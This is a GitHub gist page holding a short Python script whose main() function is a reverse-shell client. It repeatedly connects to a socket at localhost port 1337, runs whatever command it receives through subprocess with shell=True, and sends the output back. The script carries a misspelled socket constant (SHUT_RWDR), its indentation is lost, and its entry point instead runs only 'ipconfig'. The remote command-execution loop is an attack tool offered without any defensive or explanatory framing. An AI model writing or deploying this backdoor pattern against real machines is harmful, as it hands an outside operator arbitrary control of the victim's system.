Skip to content

Instantly share code, notes, and snippets.

@Xifeng2009
Created January 8, 2019 03:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xifeng2009/3a2ca9732ec61e260ee4040066ffd7fc to your computer and use it in GitHub Desktop.
Save Xifeng2009/3a2ca9732ec61e260ee4040066ffd7fc to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
#!coding: utf-8
import sys
import time
import socket
import subprocess
def main():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('localhost', 1337))
except socket.error:
time.sleep(3)
continue
while True:
ret = s.recv(1024).decode('utf-8')
print(ret)
if ret == 'exit':
break
else:
CMD = subprocess.Popen(ret, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
s.shutdown(socket.SHUT_RWDR)
s.close()
break
def main2():
cmd = 'ipconfig'
sp = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
op1 = sp.stdout.read()
op2 = sp.stderr.read()
print(op1.decode('gbk'))
print(op2)
if __name__ == '__main__':
# main()
main2()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment